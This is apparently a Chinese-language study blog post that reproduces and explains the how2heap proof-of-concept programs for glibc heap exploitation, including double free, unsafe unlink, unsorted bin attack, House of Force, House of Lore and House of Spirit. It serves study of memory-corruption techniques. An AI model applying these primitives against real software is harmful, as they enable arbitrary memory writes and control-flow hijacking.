今天,让我们来总结下how2heap,之前粗略过了一下,但最近发现还是有很多细节不太清楚,于是现在回头来重新调试下how2heap。
就按顺序来吧。
0x01 fastbin_dup:
源码:
1 #include <stdio.h> 2 #include <stdlib.h> 3 4 int main() 5 { 6 fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n"); 7 8 fprintf(stderr, "Allocating 3 buffers.\n"); 9 int *a = malloc(8); 10 int *b = malloc(8); 11 int *c = malloc(8); 12 13 fprintf(stderr, "1st malloc(8): %p\n", a); 14 fprintf(stderr, "2nd malloc(8): %p\n", b); 15 fprintf(stderr, "3rd malloc(8): %p\n", c); 16 17 fprintf(stderr, "Freeing the first one...\n"); 18 free(a); 19 20 fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 21 // free(a); 22 23 fprintf(stderr, "So, instead, we'll free %p.\n", b); 24 free(b); 25 26 fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 27 free(a); 28 29 fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); 30 fprintf(stderr, "1st malloc(8): %p\n", malloc(8)); 31 fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); 32 fprintf(stderr, "3rd malloc(8): %p\n", malloc(8)); 33 }
接下来我们来运行下这个程序:
可以发现这是一个double free的分析,这个是fastbin内存分配的分析,fastbin是先入后出,free1 —— free2 —— free1,这样在使用的时候就是malloc1 —— malloc2 —— malloc1 — — malloc2 —— malloc1……循环下去,可以再分配试一试。
0x02 fastbin_dup_into_stack:
源码:
1 #include <stdio.h> 2 #include <stdlib.h> 3 4 int main() 5 { 6 fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n" 7 "returning a pointer to a controlled location (in this case, the stack).\n"); 8 9 unsigned long long stack_var; 10 11 fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var); 12 13 fprintf(stderr, "Allocating 3 buffers.\n"); 14 int *a = malloc(8); 15 int *b = malloc(8); 16 int *c = malloc(8); 17 18 fprintf(stderr, "1st malloc(8): %p\n", a); 19 fprintf(stderr, "2nd malloc(8): %p\n", b); 20 fprintf(stderr, "3rd malloc(8): %p\n", c); 21 22 fprintf(stderr, "Freeing the first one...\n"); 23 free(a); 24 25 fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 26 // free(a); 27 28 fprintf(stderr, "So, instead, we'll free %p.\n", b); 29 free(b); 30 31 fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 32 free(a); 33 34 fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " 35 "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); 36 unsigned long long *d = malloc(8); 37 38 fprintf(stderr, "1st malloc(8): %p\n", d); 39 fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); 40 fprintf(stderr, "Now the free list has [ %p ].\n", a); 41 fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" 42 "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" 43 "so that malloc will think there is a free chunk there and agree to\n" 44 "return a pointer to it.\n", a); 45 stack_var = 0x20; 46 47 fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); 48 *d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); 49 50 fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8)); 51 fprintf(stderr, "4th malloc(8): %p\n", malloc(8)); 52 }
接下来我们来运行下这个程序:
会发现再次申请的时候就把我们伪造的栈空间当malloc来申请了,这其中的要点为将stack_var = 0x20,然后将stack_var -8 的地址赋值到*d处,也就是fastbin的fd处。再次maollc到指向stack+8的堆。
0x03 first_fit:
源码:
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 int main() 6 { 7 fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n"); 8 fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n"); 9 fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n"); 10 fprintf(stderr, "This can be exploited in a use-after-free situation.\n"); 11 12 fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n"); 13 char* a = malloc(512); 14 char* b = malloc(256); 15 char* c; 16 17 fprintf(stderr, "1st malloc(512): %p\n", a); 18 fprintf(stderr, "2nd malloc(256): %p\n", b); 19 fprintf(stderr, "we could continue mallocing here...\n"); 20 fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n"); 21 strcpy(a, "this is A!"); 22 fprintf(stderr, "first allocation %p points to %s\n", a, a); 23 24 fprintf(stderr, "Freeing the first one...\n"); 25 free(a); 26 27 fprintf(stderr, "We don't need to free anything again. As long as we allocate less than 512, it will end up at %p\n", a); 28 29 fprintf(stderr, "So, let's allocate 500 bytes\n"); 30 c = malloc(500); 31 fprintf(stderr, "3rd malloc(500): %p\n", c); 32 fprintf(stderr, "And put a different string here, \"this is C!\"\n"); 33 strcpy(c, "this is C!"); 34 fprintf(stderr, "3rd allocation %p points to %s\n", c, c); 35 fprintf(stderr, "first allocation %p points to %s\n", a, a); 36 fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation."); 37 }
运行下这个程序:
会发现这是一个UAF的分配原理,a被释放之后,变成了悬垂指针,又申请了c。使a和c同时指向的同一个堆的地址空间。这时候我们就可以通过这个指针来做一些事情了。
0x04 unsafe_unlink:
源码:
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 #include <stdint.h> 5 6 7 uint64_t *chunk0_ptr; 8 9 int main() 10 { 11 fprintf(stderr, "Welcome to unsafe unlink 2.0!\n"); 12 fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n"); 13 fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"); 14 fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n"); 15 16 int malloc_size = 0x80; //we want to be big enough not to use fastbins 17 int header_size = 2; 18 19 fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n"); 20 21 chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 22 uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 23 fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr); 24 fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr); 25 26 fprintf(stderr, "We create a fake chunk inside chunk0.\n"); 27 fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"); 28 chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); 29 fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"); 30 fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n"); 31 chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); 32 fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); 33 fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]); 34 35 fprintf(stderr, "We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)\n"); 36 fprintf(stderr, "With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False\n"); 37 fprintf(stderr, "P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))\n"); 38 fprintf(stderr, "If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).\n"); 39 fprintf(stderr, "We just need to set the *(chunk0_ptr + x) = x, so we can pass the check\n"); 40 fprintf(stderr, "1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing\n"); 41 fprintf(stderr, "2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass\n"); 42 fprintf(stderr, "3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20\n"); 43 chunk0_ptr[1] = sizeof(size_t); 44 fprintf(stderr, "In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (%p) == chunk0_ptr->size (%p)\n", ((char *)chunk0_ptr + chunk0_ptr[1]), &chunk0_ptr[1]); 45 fprintf(stderr, "You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30\n\n"); 46 47 fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"); 48 uint64_t *chunk1_hdr = chunk1_ptr - header_size; 49 fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"); 50 fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"); 51 chunk1_hdr[0] = malloc_size; 52 fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]); 53 fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n"); 54 chunk1_hdr[1] &= ~1; 55 56 fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"); 57 fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n"); 58 free(chunk1_ptr); 59 60 fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"); 61 char victim_string[8]; 62 strcpy(victim_string,"Hello!~"); 63 chunk0_ptr[3] = (uint64_t) victim_string; 64 65 fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"); 66 fprintf(stderr, "Original value: %s\n",victim_string); 67 chunk0_ptr[0] = 0x4141414142424242LL; 68 fprintf(stderr, "New Value: %s\n",victim_string); 69 }
运行下这个程序:
这个用到了unlink的三个大点,制造伪堆,绕过unlink的保护机制和unlink的再分配。
下面我们来详细看下:
首先分配了两个大小为0x80的堆空间,但是为什么显示0x90呢?那是因为计算时候把下一个堆头的prevsize和size也计算进来了。
然后是构造伪堆,绕过unlink的保护机制。
然后 chunk1_hdr[0] = malloc_size; 修改prevsize标记的伪堆大小。
来看看我们的伪堆,0x602070就是我们的目标哦。
然后通过更改指针,进而通过unlink来重新指向堆: chunk0_ptr[3] = (uint64_t) victim_string;
这里有两次伪堆的数据覆盖,先用前堆的bk覆盖,然后用后堆的fd覆盖,最终堆指向了我们需要的目标地址。
我们来看下unlink的源码,就能够明白是如何来更改其中的链表了:
1 /* Take a chunk off a bin list */ 2 #define unlink(AV, P, BK, FD) { \ 3 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ 4 malloc_printerr ("corrupted size vs. prev_size"); \ 5 FD = P->fd; \ 6 BK = P->bk; \ 7 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ 8 malloc_printerr ("corrupted double-linked list"); \ 9 else { \ 10 FD->bk = BK; \ 11 BK->fd = FD; \ 12 if (!in_smallbin_range (chunksize_nomask (P)) \ 13 && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ 14 if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ 15 || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ 16 malloc_printerr ("corrupted double-linked list (not small)"); \ 17 if (FD->fd_nextsize == NULL) { \ 18 if (P->fd_nextsize == P) \ 19 FD->fd_nextsize = FD->bk_nextsize = FD; \ 20 else { \ 21 FD->fd_nextsize = P->fd_nextsize; \ 22 FD->bk_nextsize = P->bk_nextsize; \ 23 P->fd_nextsize->bk_nextsize = FD; \ 24 P->bk_nextsize->fd_nextsize = FD; \ 25 } \ 26 } else { \ 27 P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ 28 P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ 29 } \ 30 } \ 31 } \ 32 }
接下来就不用我说了吧,改变堆内容就改变了我们需要的目标咯。实际应用我们是否可以更改got为我们需要的地址呢?
0x05 unsorted_bin_attack:
源码:
1 #include <stdio.h> 2 #include <stdlib.h> 3 4 int main(){ 5 fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"); 6 fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the " 7 "global variable global_max_fast in libc for further fastbin attack\n\n"); 8 9 unsigned long stack_var=0; 10 fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n"); 11 fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var); 12 13 unsigned long *p=malloc(400); 14 fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p); 15 fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with" 16 "the first one during the free()\n\n"); 17 malloc(500); 18 19 free(p); 20 fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer " 21 "point to %p\n",(void*)p[1]); 22 23 //------------VULNERABILITY----------- 24 25 p[1]=(unsigned long)(&stack_var-2); 26 fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); 27 fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]); 28 29 //------------------------------------ 30 31 malloc(400); 32 fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, target should has already been " 33 "rewrite:\n"); 34 fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var); 35 }
运行这个程序:
这个unsorted bin 没有完全看懂,看出来他是通过修改unsorted bin 中的bk为stack -16(即减去2个地址空间),这样就让stack的内容变成的unsorted bin的head了(leak),不知道这其中做了些什么?所以我先看unlink之后再回头看这个。
直接看源码吧。
1 /* remove from unsorted list */ 2 unsorted_chunks (av)->bk = bck; 3 bck->fd = unsorted_chunks (av);
这一句话本意是将unsorted chunk从unsorted bin的链表中unlink下来,但是如果我们可以控制bk,就可以使得bck位置可控。而bck->fd是从相对位移去找的,换句话说,只要我们将bck修改为想要修改的位置-2*指针大小就可以使得bck->fd为我们要修改的位置,进而修改任意位置。
不过因为bck->fd = unsorted_chunks(av)
这句话,而unsorted_chunks (av)
并不能控制为任意内容,所以相对自由度还是比较小的,只能使得任意位置修改为一个指针。
泄露的地址:
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
-------------------------> 0x7fffffffdde0: 0x7ffff7dd37b8
当然了,细心的人估计已经想到了,可以对这个地址进行修改的哦!
0x06 house_of_force:
源码:
1 /* 2 3 This PoC works also with ASLR enabled. 4 It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled. 5 If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum 6 ( http://phrack.org/issues/66/10.html ) 7 8 Tested in Ubuntu 14.04, 64bit. 9 10 */ 11 12 13 #include <stdio.h> 14 #include <stdint.h> 15 #include <stdlib.h> 16 #include <string.h> 17 #include <stdint.h> 18 #include <malloc.h> 19 20 char bss_var[] = "This is a string that we want to overwrite."; 21 22 int main(int argc , char* argv[]) 23 { 24 fprintf(stderr, "\nWelcome to the House of Force\n\n"); 25 fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n"); 26 fprintf(stderr, "The top chunk is a special chunk. Is the last in memory " 27 "and is the chunk that will be resized when malloc asks for more space from the os.\n"); 28 29 fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var); 30 fprintf(stderr, "Its current value is: %s\n", bss_var); 31 32 33 34 fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n"); 35 intptr_t *p1 = malloc(256); 36 fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1); 37 38 fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n"); 39 int real_size = malloc_usable_size(p1); 40 fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %d.\n", real_size); 41 42 fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n"); 43 44 //----- VULNERABILITY ---- 45 intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size); 46 fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top); 47 48 fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n"); 49 fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)ptr_top)); 50 ptr_top[0] = -1; 51 fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)ptr_top)); 52 //------------------------ 53 54 fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n" 55 "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n" 56 "overflow) and will then be able to allocate a chunk right over the desired region.\n"); 57 58 unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top; 59 fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n" 60 "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); 61 void *new_ptr = malloc(evil_size); 62 fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr); 63 64 void* ctr_chunk = malloc(100); 65 fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n"); 66 fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk); 67 fprintf(stderr, "Now, we can finally overwrite that value:\n"); 68 69 fprintf(stderr, "... old string: %s\n", bss_var); 70 fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n"); 71 strcpy(ctr_chunk, "YEAH!!!"); 72 fprintf(stderr, "... new string: %s\n", bss_var); 73 74 75 // some further discussion: 76 //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n"); 77 //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size " 78 // "and we \nwant to set this result to the address of malloc_got_address-8\n\n"); 79 //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n"); 80 //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n"); 81 //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header )," 82 // "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n"); 83 84 //fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2); 85 //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address); 86 87 //fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n"); 88 }
运行这个程序:
这个就是对Top Chunk的利用了,这里就是一个简单的计算,首先把Top_Chunk的size设置为无限大,防止调用mmap,然后就是就是申请一个很大的空间evil_size,evil_size = bss_var - ptr_top - 2*地址(预留堆头空间),这样就是topchunk的地址变成了我们需要控制的区域来了,相当于把Top Chunk向地址下降了(top chunk = 0x602070),然后再malloc就能够精确控制bss区域了。其中Top Chunk的机理,我回头看看源码在来看看到底是个什么东东。
0x07 house_of_lore:
源码:
1 /* 2 Advanced exploitation of the House of Lore - Malloc Maleficarum. 3 This PoC take care also of the glibc hardening of smallbin corruption. 4 5 [ ... ] 6 7 else 8 { 9 bck = victim->bk; 10 if (__glibc_unlikely (bck->fd != victim)){ 11 12 errstr = "malloc(): smallbin double linked list corrupted"; 13 goto errout; 14 } 15 16 set_inuse_bit_at_offset (victim, nb); 17 bin->bk = bck; 18 bck->fd = bin; 19 20 [ ... ] 21 22 */ 23 24 #include <stdio.h> 25 #include <stdlib.h> 26 #include <string.h> 27 #include <stdint.h> 28 29 void jackpot(){ puts("Nice jump d00d"); exit(0); } 30 31 int main(int argc, char * argv[]){ 32 33 34 intptr_t* stack_buffer_1[4] = {0}; 35 intptr_t* stack_buffer_2[3] = {0}; 36 37 fprintf(stderr, "\nWelcome to the House of Lore\n"); 38 fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n"); 39 fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n"); 40 41 fprintf(stderr, "Allocating the victim chunk\n"); 42 intptr_t *victim = malloc(100); 43 fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim); 44 45 // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk 46 intptr_t *victim_chunk = victim-2; 47 48 fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1); 49 fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2); 50 51 fprintf(stderr, "Create a fake chunk on the stack"); 52 fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted" 53 "in second to the last malloc, which putting stack address on smallbin list\n"); 54 stack_buffer_1[0] = 0; 55 stack_buffer_1[1] = 0; 56 stack_buffer_1[2] = victim_chunk; 57 58 fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 " 59 "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake " 60 "chunk on stack"); 61 stack_buffer_1[3] = (intptr_t*)stack_buffer_2; 62 stack_buffer_2[2] = (intptr_t*)stack_buffer_1; 63 64 fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with" 65 "the small one during the free()\n"); 66 void *p5 = malloc(1000); 67 fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5); 68 69 70 fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); 71 free((void*)victim); 72 73 fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n"); 74 fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); 75 fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); 76 77 fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n"); 78 fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim); 79 80 void *p2 = malloc(1200); 81 fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2); 82 83 fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n"); 84 fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); 85 fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); 86 87 //------------VULNERABILITY----------- 88 89 fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); 90 91 victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack 92 93 //------------------------------------ 94 95 fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n"); 96 fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n"); 97 98 void *p3 = malloc(100); 99 100 101 fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n"); 102 char *p4 = malloc(100); 103 fprintf(stderr, "p4 = malloc(100)\n"); 104 105 fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n", 106 stack_buffer_2[2]); 107 108 fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack 109 intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode 110 memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary 111 }
运行这个程序:
这个程序,将victim chunk和两个fake chunk构造成双向链表,然后再smallbin分配时候,便申请了到了fake chunk。
这个关键是要改写victim chunk 的bk,关键改写地址: victim[1] = (intptr_t)stack_buffer_1 。然后双向链表在重新分配的时候,就会分配到栈上的空间为堆。
0x08 house_of_spirit:
源码:
1 #include <stdio.h> 2 #include <stdlib.h> 3 4 int main() 5 { 6 fprintf(stderr, "This file demonstrates the house of spirit attack.\n"); 7 8 fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); 9 malloc(1); 10 11 fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); 12 unsigned long long *a; 13 // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) 14 unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); 15 16 fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]); 17 18 fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 19 fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); 20 fake_chunks[1] = 0x40; // this is the size 21 22 fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); 23 // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 24 fake_chunks[9] = 0x1234; // nextsize 25 26 fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); 27 fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); 28 a = &fake_chunks[2]; 29 30 fprintf(stderr, "Freeing the overwritten pointer.\n"); 31 free(a); 32 33 fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); 34 fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30)); 35 }
运行这个程序:
这个一看代码很少,程序比较简单了,哈哈,下面我们来看看这个程序是怎么运行的:(时隔好多天)看完这个程序之后确实,很简单,但最近却一直没有做,主要是最近事情比较繁杂,心态不够沉静。
先看看内存分布原理图把:
注意哦,这个数组就是栈上面的内存,a指向了第一个伪堆,free(a)的时候就把Fake_chunk_1这个伪堆放入了fastbin的链表中,这样的话再次分配的时候就把这一块的内存当做是heap区域的内存分配了,
注意这里fastbin的回收内存的大小,第一个chunk的size要在fastbin的范围内(x64机器上是 < 0x80),同时注意实际大小比可用大小多两个单元。
关于这个技术如果要练手的话,可以去做一下 pwnable.tw 上的 spirited_away 这道题。
知识补充:
更改C编译器的缺省字节对齐方式
在缺省情况下,C编译器为每一个变量或是数据单元按其自然对界条件分配空间。一般地,可以通过下面的方法来改变缺省的对界条件:
· 使用伪指令#pragma pack (n),C编译器将按照n个字节对齐。
· 使用伪指令#pragma pack (),取消自定义字节对齐方式。
另外,还有如下的一种方式:
· __attribute((aligned (n))),让所作用的结构成员对齐在n字节自然边界上。如果结构中有成员的长度大于n,则按照最大成员的长度来对齐。
· __attribute__ ((packed)),取消结构在编译过程中的优化对齐,按照实际占用字节数进行对齐。
小结:
个人水平有限,只是写了自己的理解和归纳,最后一个例程house_of_einherjar在新版glibc已经不能用了,所以不做介绍。